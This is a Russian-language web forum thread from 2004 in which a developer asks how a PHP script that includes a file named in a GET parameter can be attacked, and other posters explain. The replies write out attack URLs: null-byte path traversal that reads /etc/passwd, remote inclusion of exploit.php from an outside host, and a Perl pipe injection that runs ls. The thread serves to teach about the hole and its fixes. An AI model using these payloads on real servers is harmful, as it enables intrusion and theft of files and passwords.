|
|
|
дыра в безопасности
|
|||
|---|---|---|---|
|
#18+
Я передаю в php-скрипт через GET имя файла: index.php?id=name В скрипте это имя принимаю, и образую полное имя: $file_name = $dir . $_GET[id]. ".html"; Далее, проверяю существование $file_name, и если он есть, то открываю этот файл, неким образом его обрамляя. Мне сказали, что этот способ может быть дырой в безопасности, и при желании хакер может такой сайт взломать. Я не смогла придумать, каким образом? Для дополнительной безопасности можно было бы проверять сначала $_GET[id] на наличие запрещенных символов (разрешить только буквы, цифры и _-). Но для начала надо понять, а КАК такое взламывается? ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 24.12.2004, 22:51 |
|
||
|
дыра в безопасности
|
|||
|---|---|---|---|
|
#18+
а можно узнать зачем надо передавать имя подключаемого файла из вне?! почему Вы не можете сами определить диапозон возможных подключаемых файлов? насколько понимаю, Вы пытаетесь подключать разделы сайта таким образом, если да то используйте ID->filename. А список id храните либо в БД, либо в текстовых файлах. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 24.12.2004, 23:01 |
|
||
|
дыра в безопасности
|
|||
|---|---|---|---|
|
#18+
Николай aka Motodor а можно узнать зачем надо передавать имя подключаемого файла из вне?! В скрипте определен дизайн сайта. В различных директориях, соответствующих разделам сайта, лежат файлы с содержанием страниц. В этих файлах - только содержание, минимум html. Скрипт определяет имя файла, и подключает его в нужное место, вписывая в дизайн. Базы данных нет. Хозяева сайта легко создают и наполняют страницы нужным содержанием. Если нужно поменять что-то в дизайне, можно отредактировать только скрипт. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 24.12.2004, 23:26 |
|
||
|
дыра в безопасности
|
|||
|---|---|---|---|
|
#18+
эта "дыра" позволяет включить index.php любой доступный файл на вашем сервере для этого нужно просто правильно сформировать [id] классический пример =) http://host/index.php?id=../../etc/passwd%00 %00 будет означать конец строки, поэтому .html из [$_GET[id]. ".html";] не будет учитываться следовательно параметром для include_once() будет $dir . "../../etc/passwd" остаётся подобрать уровень каталога если убрать добавление $dir , то можно получить больщую "дыру" http://host/index.php?id=http://your_host/exploit.php%00 -- http://jcatki.no-ip.org/c++/bart.jpg ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2004, 00:54 |
|
||
|
дыра в безопасности
|
|||
|---|---|---|---|
|
#18+
А если не инклудом - это позволяет посмотреть содержимое сервера (исходники, пароли, etc). ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2004, 10:45 |
|
||
|
дыра в безопасности
|
|||
|---|---|---|---|
|
#18+
Но если я проверяю синтаксис $_GET[id] - и при наличии в нем любых знаков, кроме букв и "/" - останавливаю программу! Значит, дыра закрываетcя? ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2004, 15:34 |
|
||
|
дыра в безопасности
|
|||
|---|---|---|---|
|
#18+
sky2khttp://host/index.php?id=../../etc/passwd%00 %00 будет означать конец строки, поэтому .html из [$_GET[id]. ".html";] не будет учитываться следовательно параметром для include_once() будет $dir . "../../etc/passwd" Почему же? $file_name = "my_dir" . $_GET[id] . ".html"; В Вашем примере %00 - конец строки для $_GET[id], но в $file_name все равно добавится .html ! ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2004, 16:16 |
|
||
|
дыра в безопасности
|
|||
|---|---|---|---|
|
#18+
пример $st = "aaa.html" . chr(0) . ".mega_test"; echo($st) выведет правильно [aaa.html.mega_test] но вот для работы с файлами fopen,file,include,etc конец строки будет считаться по \0 следовательно fopen($st) будет открывать aaa.html ЗЫ для справки на perl такая оплошность в некоторых случаях позволяет не только считывать файлы но так же запускать их например http://host/index.pl?id=../../../bin/ls -alR /somefolder/| выведет вам список всех файлов/папок в [somefolder] , чтобы узнать куда писать можно =) ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 25.12.2004, 17:11 |
|
||
|
|

start [/forum/topic.php?fid=23&msg=32844725&tid=1479015]: |
0ms |
get settings: |
9ms |
get forum list: |
18ms |
check forum access: |
4ms |
check topic access: |
4ms |
track hit: |
169ms |
get topic data: |
11ms |
get forum data: |
3ms |
get page messages: |
66ms |
get tp. blocked users: |
2ms |
| others: | 232ms |
| total: | 518ms |

| 0 / 0 |
